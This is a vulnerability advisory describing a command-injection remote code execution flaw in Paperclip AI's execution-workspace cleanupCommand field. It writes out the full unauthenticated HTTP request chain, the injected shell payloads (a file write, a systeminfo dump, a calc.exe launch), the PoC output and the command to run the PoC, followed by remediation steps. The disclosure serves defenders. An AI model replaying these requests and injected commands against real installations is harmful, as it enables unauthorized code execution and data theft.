
Cloud Vulnerability DB
A community-led vulnerabilities database
| Field | Value |
|---|---|
| Affected Software | Paperclip AI v2026.403.0 |
| Affected Component | Execution Workspace lifecycle (workspace-runtime.ts) |
| Affected Endpoint | PATCH /api/execution-workspaces/:id |
| Deployment Modes | All — local_trusted (zero auth), authenticated (any company user) |
| Platforms | Linux, macOS, Windows (with Git installed) |
| Date | 2026-04-13 |
cleanupCommand field via the PATCH /api/execution-workspaces/:id endpoint. When the workspace is archived, the server executes this command verbatim via child_process.spawn(shell, ["-c", cleanupCommand]) with no input validation or sanitization. In local_trusted mode (the default for desktop installations), this requires zero authentication.
Three independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (systeminfo), and GUI application launch (calc.exe).server/src/services/workspace-runtime.ts (line ~738)
The cleanupExecutionWorkspaceArtifacts() function iterates over cleanup commands from workspace config and executes each via shell:
// workspace-runtime.ts — cleanupExecutionWorkspaceArtifacts()
for (const command of cleanupCommands) {
await recordWorkspaceCommandOperation(ws, command, ...);
}
// recordWorkspaceCommandOperation() →
const shell = resolveShell(); // process.env.SHELL || "sh"
spawn(shell, ["-c", command]);server/src/routes/execution-workspaces.ts — PATCH handler
The PATCH endpoint accepts a config object containing cleanupCommand with no validation:
PATCH /api/execution-workspaces/:id
Body: { "config": { "cleanupCommand": "<ARBITRARY_COMMAND>" } }The cleanupCommand value is stored directly in workspace metadata and later passed to spawn() without sanitization, allowlisting, or escaping.
resolveShell() returns process.env.SHELL or falls back to "sh":
/bin/sh exists natively — commands execute immediatelysh.exe is available via Git for Windows (C:\Program Files\Git\bin\sh.exe) — Paperclip requires Git, so sh is present on most installationsThe exploit requires 5 HTTP requests with zero authentication in local_trusted mode:
GET /api/companies HTTP/1.1
Host: 127.0.0.1:3100[{"id": "59e9248b-...", "name": "Hello", ...}]GET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1
Host: 127.0.0.1:3100[{"id": "da078b2d-...", "name": "HEL-1", "status": "active", ...}]PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json
{"status": "active"}PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json
{"config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}}Response confirms storage:
{"id": "da078b2d-...", "config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}, ...}PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json
{"status": "archived"}This triggers cleanupExecutionWorkspaceArtifacts() which calls:
spawn(shell, ["-c", "echo RCE_PROOF > \"/tmp/rce-proof.txt\""])local_trusted Mode (Default Desktop Install)Every HTTP request is auto-granted full admin privileges with zero authentication:
// middleware/auth.ts
req.actor = {
type: "board",
userId: "local-board",
isInstanceAdmin: true,
source: "local_implicit"
};The boardMutationGuard middleware is also bypassed:
// middleware/board-mutation-guard.ts (line 55)
if (req.actor.source === "local_implicit" || req.actor.source === "board_key") {
next();
return;
}authenticated ModeassertCompanyAccess check occurs AFTER the database query (BOLA/IDOR pattern), and no additional authorization is required to modify workspace config fields.All proofs executed via the automated PoC script poc_paperclip_rce.py.
Payload: echo RCE_PROOF_595c04f7 > "%TEMP%\rce-proof-595c04f7.txt"
Result:
+================================================+
| VULNERABLE - Arbitrary Code Execution! |
| cleanupCommand was executed on the server |
+================================================+
Proof file: %TEMP%\rce-proof-595c04f7.txt
Content: RCE_PROOF_595c04f7
Platform: Windows 11Payload: systeminfo > "%TEMP%\rce-sysinfo-595c04f7.txt"
Result:
+================================================+
| System command output captured! |
+================================================+
Host Name: [REDACTED]
OS Name: Microsoft Windows 11 Home
OS Version: 10.0.26200 N/A Build 26200
OS Manufacturer: Microsoft Corporation
Registered Owner: [REDACTED]
Product ID: [REDACTED]
System Manufacturer: [REDACTED]
System Model: [REDACTED]
System Type: x64-based PC
... (72 total lines of system information)Payload: calc.exe
Result:
+================================================+
| calc.exe launched! Check your taskbar. |
| This is server-side code execution. |
+================================================+| Impact | Description |
|---|---|
| Remote Code Execution | Arbitrary commands execute as the Paperclip server process |
| Data Exfiltration | Full system info, environment variables, files readable by server process |
| Lateral Movement | Attacker can install tools, pivot to internal network |
| Supply Chain | Workspaces contain source code — attacker can inject backdoors into repositories |
| Persistence | Attacker can create scheduled tasks, install reverse shells |
| Privilege Escalation | Server may run with elevated privileges; attacker inherits them |
127.0.0.1:3100 can achieve RCE with zero authenticationcleanupCommand and teardownCommand fields in the PATCH handler. Do not allow user-supplied values to be passed to shell execution.git clean, rm -rf <workspace_dir>).execFile instead of spawn with shell: Replace spawn(shell, ["-c", command]) with execFile() using an argument array, which prevents shell metacharacter injection.spawn, exec, and execFile calls across the codebase for similar injection patterns.poc_paperclip_rce.py
The full automated PoC is available as poc_paperclip_rce.py. It:
local_trustedsh.exe from Git and restarts Paperclip if neededpython poc_paperclip_rce.py --target http://127.0.0.1:3100Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."